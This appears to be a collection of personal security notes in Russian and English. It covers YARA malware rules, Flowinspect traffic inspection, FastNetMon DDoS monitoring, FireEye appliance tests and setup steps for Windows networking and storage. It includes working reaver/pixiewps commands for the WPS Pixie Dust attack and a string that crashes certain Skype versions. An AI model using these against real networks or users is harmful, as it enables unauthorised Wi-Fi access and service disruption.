wifi hotspot local windows

• netsh wlan set hostednetwork mode=allow
• netsh wlan set hostednetwork mode=allow ssid=FastWifi key=12345678 keyUsage=persistent
• netsh wlan start hostednetwork

галкой отмечаем пункт “Разрешить другим пользователям сети использовать подключение к Интернету данного компьютера” и в списке “Подключение к домашней сети” выбираем наше новое соединение, которое мы только что создали.

netsh wlan start hostednetwork
netsh wlan stop hostednetwork

Yara - knife for malware researchers + Flowinspect

http://plusvic.github.io/yara/
https://xakep.ru/2011/10/31/57409/
https://yaragenerator.com/
https://github.com/Xen0ph0n/YaraGenerator
https://github.com/Yara-Rules/rules


$ yara
usage: yara [OPTION]... [RULEFILE]... FILE | PID
Сценарий называется clamav_to_ yara.py и написан Мэтью Ричардом (bit.ly/ij5HVs). Скачиваем скрипт и конвертируем базы:
$ python clamav_to_yara.py -f daily.cvd -o clamav.yara
Сканирование папки с использованием сигнатуры выполняется одной единственной командой:
$ yara -r clamav.yara /pentest/msf3/data

Простой пример правила:

rule silent_banker : banker
{
meta:
description = "This is just an example"
thread_level = 3
in_the_wild = true
strings:
$a = {6A 40 68 00 30 00 00 6A 14 8D 91}
$b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
$c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
condition:
$a or $b or $c
}

В этом правиле мы говорим YARA, что любой файл, который содержит хотя бы одну из строк-семплов, описанных в переменных $a, $b, $c, должен классифицироваться как троян silent_banker. И это очень простое правило. На деле рулесы могут быть гораздо сложнее (мы об этом поговорим ниже).

Yara + MD5

Yara does not support MD5 hashing.

We will now need to create a Yara rule with the MD5 hash as a string:

rule MD5_BAD_FILE
{  
strings:  
    $md5 = "A1EB325F994E5A1720C0E401731B5ED9" nocase
condition:  
    $md5
}

The Yara rule will alert on the string of the MD5 hash. Now we need some code that will open a file, hash the file and then scan the hash value using the Yara rule. (python)

import hashlib
import sys
import imp

import yara 
from StringIO import StringIO

def MD5(d):
# d = buffer of the read file 
# This function hashes the buffer
# source: http://stackoverflow.com/q/5853830
    if type(d) is str:
      d = StringIO(d)
    md5 = hashlib.md5()
    while True:
        data = d.read(128)
        if not data:
            break
        md5.update(data)
    return md5.hexdigest()


def yaraScan(d):
# d = buffer of the read file 
# Scans SWF using Yara
    # test if yara module is installed
    # if not Yara can be downloaded from http://code.google.com/p/yara-project/
    try:
        imp.find_module('yara')
        import yara 
    except ImportError:
        print '\t[ERROR] Yara module not installed - aborting scan'
        return
    # test for yara compile errors
    try:
        r = yara.compile(r'md5.yara')
    except:
        pass
        print '\t[ERROR] Yara compile error - aborting scan'
        return
    # get matches
    m = r.match(data=d)
    # print matches
    for X in m:
        print '\t[BAD] Yara Signature Hit:', X
    return

def main():
    try:
        f = open(sys.argv[len(sys.argv)-1],'rb+')
    except Exception:
        print '[ERROR] File can not be opended/accessed'
        return
    yaraScan(MD5(f))    

if __name__ == '__main__':
   main()

  

Example:

python yaraMD5.py "6UHp0dCM12c[1].swf"

Flowinspect:

Look at live HTTP sessions:

./flowinspect.py -d eth0 -c "^(GET|POST|HEAD|PUT).*" -f "tcp and port 80" -o print
Inspect HTTP streams for Metasploit ie_cgenericelement_uaf exploit (CVE-2013-1347):

./flowinspect.py -p cgenericelement.pcap -s 'CollectGarbage\(\).*mstime_malloc\({shellcode:' -b32
Use a Yara signature to look for UPX packed binaries on STC direction:

./flowinspect.py -p e03a7f89a6cbc45144aafac2779c7b6d.pcap -R upx.yara
Obtain and install pynids. For those on Ubuntu, please make sure you have libpcap-dev, libnet1, libnet1-dev, and libglib2.0-dev packages pre-installed before installing pynids. Also, you might have to manually install libnids that comes bundled with pynids using the usual configure && make && make install process.

https://code.google.com/p/malwarecookbook/source/browse/trunk/3/3/clamav_to_yara.py

https://github.com/eset/malware-ioc/blob/master/moose/linux-moose.yar

https://github.com/eset/malware-ioc/blob/master/moose/LinuxMooseETrules.txt

Linux/Moose бот

Злоумышленники используют Linux/Moose для компрометации Linux-embedded систем, часть 1
Злоумышленники используют Linux/Moose для компрометации Linux-embedded систем, часть 2
Злоумышленники используют Linux/Moose для компрометации Linux-embedded систем, часть 3

WPS Pixie Dust Attack (Offline WPS Attack)

Tools:
-Pixiewps by Wiire, used to brute force the WPS pin offline

cd /path/to/pixiewps/src
make
make install

-t6_x's modified version of Reaver to automate the process

git clone https://github.com/t6x/reaver-wps-fork-t6x

cd /path/to/reaver-wps-fork-t6x/src
chmod 777 ./configure
./configure
make
make install

Compiling Dependencies:

apt-get install libssl-dev
apt-get install libpcap-dev
apt-get install libsqlite3-dev

reaver -i wlan0mon -b 10:FE:ED:B4:A0:D2 -a -vvv -K 1


If you would like to contribute data, please post in code tags:

N1 Enrollee Nonce:
N2 Registrar Nonce:
PKe:
PKr:
Authkey:
E-Hash1:
E-Hash2: 

AP Manufacturer:
AP Model Number:
AP Chipset:
Wikidevi Link:

pixiewps --pke <pke> --pkr <pkr> --e-hash1 <e-hash1> --e-hash2 <e-hash2> --authkey <authkey> --e-nonce <e-nonce>

FastNetMon 1.1.2 мониторинг DoS/DDoS атак

FastNetMon

• Возможность выявлять самые популярные виды атак: syn_flood, icmp_flood, udp_flood, ip_fragmentation_flood
• Добавление поддержки протокола Netflow, поддерживаются 5, 9 и 10 (IPFIX) версии
• Добавление поддержки протокола sFLOW v5, который поддерживается большинством современных сетевых коммутаторов
• Добавлена поддержка использования netmap (поддерживаются Linux и FreeBSD, для Linux предоставляется специальная версия драйвера ixgbe: github.com/pavel-odintsov/ixgbe-linux-netmap) для захвата пакетов. Данный режим обеспечивает наивысшую производительность захвата трафика наряду с PF_RING ZC.
• Добавлена поддержка PF_RING ZC (к сожалению, этот режим требует отдельной лицензии на библиотеку PF_RING)

Полный список изменений можно найти ниже:

• Добавлена возможность сбора netflow на основе шаблонов с нескольких устройств (в том числе — виртуальных, в пределах одного шасси)
• Базовая поддержка IPv6 в модуле Netflow, коллектор может прослушивать IPv6 интерфейс, анализ протокола пока не поддерживается
• Информация об атаке теперь включает очень большое число полей, среди которых — используемые протоколы, типы пакетов, флаги TCP и многое другое, все это позволяет идентифицировать атаки максимально точно
• Вместо ежесекундного расчета используется усреднение скорости атаки за Х последних секунд, что позволяет минимизировать ложные срабатывания
• Добавлена возможность сохранения отпечатков атаки в отдельных файлах
• Добавлена возможность указывать лимит с которого трафик считается атакой в числе потоков, пакетов/секунду и байт/секунду.
• Добавлена интеграция с проектом ExaBGP, с помощью которого можно анонсировать блокируемые IP адреса непосредственно на BGP роутеры собственной сети либо напрямую аплинку
• Добавлена поддержка плагинов, теперь возможна разработка собственных систем захвата трафика в дополнение к имеющимся
• Добавлены init файлы для систем на базе systemd
• Добавлена возможность разблокировки IP после истечения заданного периода времени
• Добавлена возможность сохранения данных об атаке в Redis
• Добавлена поддержка распаковки протокола L2TP в режиме захвата с зеркальных портов

Со стороны разработки были осуществлены следующие изменения:

• Осуществлен переход на систему сборки cmake
• Добавлена интеграция CI системы Travis CI
• По соображениям переносимости осуществлен отказ от использования функционала С++ 11

Список поддерживаемых платформ претерпел огромные изменения, добавлена поддержка следующих систем:

• Fedora 21
• Debian 6, 7, 8
• CentOS 6, 7
• FreeBSD 9, 10, 11
• DragonflyBSD 4
• MacOS X 10.10

Для следующих систем были собраны бинарные пакеты:

• CentOS 6
• CentOS 7
• Fedora 21
• FreeBSD

Для других Linux систем рекомендуется использовать автоматический установщик.

Новая версия позволяет достичь очень высокой производительности. Скорость обработки sFLOW/Netflow почти неограниченная (до десятков и сотен гигабит секунду). Для режима PF_RING (не ZC) максимально достигнутая скорость в районе ~3mpps/5GE. Наивысшей скорости можно добиться используя системы захвата трафика PF_RING ZC или netmap, обе библиотеки позволяют обрабатывать до 10 и более миллионов пакетов в секунду на зеркальных портах (10GE+). Обращаю внимание, что при очень высокой скорости рекомендуется отключать режим трекинга соединений, который очень сильно нагружает процессорные ресурсы. Все измерения приведены для Intel i7 2600 и сетевой карты Intel 82599.

Из вещей касающихся сообщества разработки стоит отметить подключение проекта Gitter для эффективного обсуждения вопросов, касающихся проекта и в дополнение к нему добавлен классический список рассылки.

Отдельно мы бы хотели поблагодарить людей внесших большой вклад в помощь проекту и в первую очередь компаниюFastVPS, без которой данный проект был бы невозможен!

http://habrahabr.ru/post/259399/

DoS эксплойт десктопного Skype для Windows и Mac OS

В последних версиях Skype для Windows и Mac OS X и присутствует ошибка, позволяющая безвозвратно обрушить программу.

Для этого достаточно отправить в чате строку:

http://:

Работает как в групповых чатах, так и в приватных.

Уязвимые версии:
для Windows: 7.5.0.101
для Mac OS X: 7.8 (390)

Более старые версии Skype, например Windows 7.3.0.101 и Mac OS 7.7 (335) не подвержены проблеме. В качестве временного решения можно откатиться на более старую версию.

UPDATE: Проблема исправлена в версии 7.5.64.102 для Windows и 7.8 (391) для Mac OS.
Для лечения проблемы просто скачайте последнюю версию со skype.com

Портал yota.ru схема сети

Fireeye NX тестирование /Fireeye NX С&C Botnet test

Ботнет (англ. botnet) — ныне распространенное в этих ваших интернетах явление, представляющее из себя сеть самых обычных компьютеров, через уязвимости в ПО или по обычной ламерности юзеров заражённых специализированными, «зомбирующими» вирями (как правило, это бэкдор, позволяющий без ведома хозяина машинерии взять над ней удаленный контроль и анонимно рулить ей с любой интернетизированной точки земного шара), превратить компьютер в эдакого «зомби» (или бота), в таком состоянии которого злоумышленник сможет использовать вычислительные ресурсы оного в своих целях. Как вариант — устроить анонимную прокси.

Была собрана самая простая схема, которую можно представить:

После предварительных настроек Fireeye NX, и ботнет сервера, генерации malware для заражения, переходим к тестированию.

Проверим C&C. он запущен, и ждет подключений...

SAN на базе Windows Server 2012 R2

• серверы без дисков (только небольшие «зеркала» под систему) — 2 шт.;
• недорогая дисковая полка JBOD с двумя SAS интерфейсами – 1 шт.;
• HDD SAS – не менее 10 шт. (лучше – больше);
• SSD SAS – хотя бы 2 шт.;
• сетевые адаптеры 1-10 GBit (лучше – с поддержкой RDMA) – 2-4 шт.;

http://habrahabr.ru/post/258845/
Подготовительные работы
Итак, берем дисковую полку в режиме JBOD. Набиваем ее дисками, хотя бы два из которых должны быть SSD. У корзины должно быть два SAS-экспандера, по два разъема на каждом. Через них подключаем корзину к двум серверам, желательно одинаковым. Для этой цели вполне подойдут простые одноюнитовые серверы. На серверах в качестве контроллеров устанавливаем обычные SAS HBA.

Тестирование Fireeye EX в режиме MTA + URL Dynamic Analysis / Test Fireeye EX MTA + URLDA

Стенд остался тот же, что был описан ранее в статье :
http://devnulls.blogspot.com/2015/05/fireeye-ex-mta-fireeye-ex-mta-config.html

Были добавлены следующие настройки - URL Dynamic Analysis.

URL Dynamic Analysis - позволяет EX анализировать URL-адреса, которые указывают на объекты, такие как ZIP, EXE, PDF, DOC и DOCX файлы. Основываясь на набор внутренних правил безопасности, электронная EX будет скачать объект из ссылочного URL и предавать объект в свой MVX для анализа.(Не NX !) Если объект является вредоносными, то EX может немедленно заблокировать электронную почту не доходя до конечного потребителя.

Прописываем ip на интерфейс ether2:

no interface ether2 dhcp

   interface ether2 duplex auto

   interface ether2 ip address 192.168.1.232 /24

   interface ether2 mtu 1500

no interface ether2 shutdown

   interface ether2 speed auto

no interface ether2 zeroconf

Прописываем тот же ip в веб морду: